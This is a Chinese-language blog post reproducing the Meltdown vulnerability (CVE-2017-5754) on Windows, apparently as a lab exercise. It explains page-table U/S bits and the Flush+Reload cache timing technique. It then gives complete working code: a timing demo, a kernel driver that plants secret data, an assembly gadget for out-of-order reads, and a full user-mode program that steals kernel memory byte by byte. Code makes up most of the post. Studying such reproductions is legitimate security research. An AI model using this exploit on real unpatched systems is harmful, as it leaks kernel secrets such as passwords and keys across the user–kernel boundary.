-
-
[原创]CVE-2017-5754 Meltdown 复现
-
2023-1-27 23:14 10014
-
页表条目中有一个 U/S 位,内核空间的地址会将这个位设置为 0,所以只有当 CPU 切换到内核模式时,这些内存才能被访问,应用程序访问这些地址会产生异常。
这个机制让操作系统将内核和应用程序隔离开来,因而系统能将内核映射到进程的虚拟地址空间,在保证数据安全的情况下,提高系统调用的效率。
但是 Meltdown 漏洞熔化了硬件机制所规定的安全边界,让用户程序得以访问到映射到内核空间的数据,U/S 位没有起作用。这破坏了我们之前对于 CPU 的基本假设,本来安全的操作系统变得不再安全。
Flush+Reload
Flush+Reload 不是 Meltdown,也不是 Meltdown 的成果,是一种比较好实现的利用 Meltdown 的方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | #include <stdio.h> #include <excpt.h> #include <intrin.h> #include <stdint.h> uint8_t probe_array[ 256 ][ 4096 ]; / / 探针数组 uint64_t access_time[ 256 ]; / / 记录访问时间 int main() { uint8_t secret = 42 ; uint8_t * p = &secret; for (size_t i = 0 ; i < 256 ; i + + ) _mm_clflush(&probe_array[i]); __try { * (uint32_t * )NULL = 0 ; probe_array[ * p][ 0 ] + + ; } __except (EXCEPTION_EXECUTE_HANDLER) {} for (size_t i = 0 ; i < 256 ; i + + ) { uint32_t aux; uint64_t a = __rdtscp(&aux); probe_array[i][ 0 ] + + ; uint64_t b = __rdtscp(&aux); access_time[i] = b - a; } for (size_t i = 0 ; i < 256 ; i + + ) printf( "%llu," , access_time[i]); } |
当程序来到第 20 行,读取了非法内存地址,在触发异常之前的这一小段时间,后续的指令可能会被乱序执行。
- 如果 Windows 解决了异常,重新回到这个地方,继续执行第 21 行,那么 CPU 就可以直接利用乱序执行的结果,节省一些时间。
- 如果 Windows 没有解决,而是将执行权交还给程序,让程序执行异常处理块,也就是第 23 行,那么 CPU 就必须丢弃乱序执行的结果,让异常之后的代码看起来没有被执行过。
乱序执行的时候 probe_array 的数据可能已经从内存取出,更新到缓存中了。访问已经缓存的数据要比直接访问内存快得多,所以我们可以通过判断访问数据的时间,探测指定地址的内存是否已经被缓存了。
Meltdown
用一句话概括 Meltdown:在乱序执行时,有些 CPU 忘记检查 U/S 位了,导致数据被读取了,虽然操作会被撤销,但数据会被缓存,产生了副作用,可利用 Flush+Reload 等方法利用这个副作用探测到内核的数据。
复现
准备秘密数据
编写一个驱动,在内核中申请一片内存,存放秘密数据,用来给 ring3 用 Meltdown 盗取。驱动还启动了一个线程,不断读写这片内存,迫使 CPU 缓存这些数据,提高盗取的成功率。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | #include "win10.h" #include "x64.h" #include "secret.h" PWSTR Secret; HANDLE ThreadHandle; BOOLEAN ThreadStopFlag = FALSE; VOID DriverUnload(PDRIVER_OBJECT DriverObject) { DbgPrint( "再见! %wZ\n" , &DriverObject - >DriverName); ThreadStopFlag = TRUE; ZwWaitForSingleObject(ThreadHandle, FALSE, NULL); ZwClose(ThreadHandle); ExFreePool(Secret); } VOID StartRoutine(PVOID StartContext) { UNREFERENCED_PARAMETER(StartContext); KeSetSystemAffinityThread( 1 ); UINT32 Junk = 0 ; size_t SecretLength = wcslen(Secret); LARGE_INTEGER Inteval = { .QuadPart = - 10000 }; while (!ThreadStopFlag) { for (size_t i = 0 ; i < SecretLength; i + + ) { Junk ^ = Secret[i]; Junk + + ; KeDelayExecutionThread(KernelMode, FALSE, &Inteval); } } PsTerminateSystemThread(STATUS_SUCCESS); } NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { UNREFERENCED_PARAMETER(RegistryPath); DbgPrint( "你好! %wZ\n" , &DriverObject - >DriverName); DriverObject - >DriverUnload = DriverUnload; Secret = ExAllocatePool2(POOL_FLAG_NON_PAGED, 4096 , 'xxxx' ); if (!Secret) return STATUS_MEMORY_NOT_ALLOCATED; wcscpy(Secret, SecretData); NTSTATUS Status = PsCreateSystemThread(&ThreadHandle, 0 , NULL, NULL, NULL, StartRoutine, NULL ); if (!NT_SUCCESS(Status)) { ExFreePool(Secret); return Status; } DbgPrint( "Secret @ %p\n" , Secret); return STATUS_SUCCESS; } |
Meltdown
ring3 利用 Meltdown 的核心函数是 void OutOfOrderExecution(void* target, void* probe_array, void* null);
1 2 3 4 5 6 7 8 9 10 11 | .CODE OutOfOrderExecution PROC mov r8, qword ptr [r8] movzx rax, byte ptr [rcx] shl rax, 12 mov al, byte ptr [rdx + rax] ret OutOfOrderExecution ENDP END |
使用方法是
1 2 3 4 5 | __try { OutOfOrderExecution(target, probe_array, NULL); } __except (EXCEPTION_EXECUTE_HANDLER) {} |
调用后 probe_array 中的一些行会被缓存,统计每一行的访问时间,即可探测出一个位的数据。完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 | #include <stdio.h> #include <intrin.h> #include <excpt.h> #include <stdint.h> #include <locale.h> #include <Windows.h> uint8_t probe_array[ 256 ][ 4096 ]; uint64_t access_time[ 256 ]; void OutOfOrderExecution(void * target, void * probe_array, void * null); uint8_t Steal(uint8_t * target) { for (size_t retries = 0 ; retries < 30000 ; retries + + ) { for (size_t i = 0 ; i < 256 ; i + + ) { _mm_clflush(&probe_array[i]); _mm_pause(); } __try { OutOfOrderExecution(target, probe_array, NULL); } __except (EXCEPTION_EXECUTE_HANDLER) {} for (size_t i = 0 ; i < 256 ; i + + ) { uint32_t aux = 0 ; uint64_t a = __rdtscp(&aux); probe_array[i][ 0 ] + + ; uint64_t b = __rdtscp(&aux); access_time[i] = b - a; } size_t idx_min = 0 ; for (size_t i = 0 ; i < 256 ; i + + ) { if (access_time[i] < access_time[idx_min]) idx_min = i; _mm_pause(); } if (access_time[idx_min] < 100 && idx_min ! = 0 ) { printf( " => %02X retries=%-5zd access_time=%llu\n" , (uint32_t)idx_min , retries , access_time[idx_min] ); return (uint8_t)idx_min; } _mm_pause(); } printf( " => 00\n" ); return 0 ; } int main( int argc, char * argv[]) { if (argc < 2 ) { printf( "USAGE: meltdown target\n" ); return 1 ; } uint8_t * target = NULL; if (sscanf_s(argv[ 1 ], "%p" , &target) ! = 1 ) { printf( "USAGE: meltdown target\n" ); return 1 ; } SetProcessAffinityMask(GetCurrentProcess(), 1 ); uint8_t buffer [ 32 ] = { 0 }; for (size_t i = 0 ; i < sizeof( buffer ); i + + ) { printf( "Steal#%-2zd" , i); buffer [i] = Steal(target + i); } for (size_t i = 0 ; i < sizeof( buffer ); i + + ) { printf( "%02X" , (uint32_t) buffer [i]); printf((i + 1 ) % 16 = = 0 || i + 1 = = sizeof( buffer ) ? "\n" : " " ); } setlocale(LC_CTYPE, ""); wchar_t * secret = (wchar_t * ) buffer ; for (size_t i = 0 ; i < sizeof( buffer ) / sizeof(wchar_t); i + + ) putwchar(secret[i]); putchar( '\n' ); } |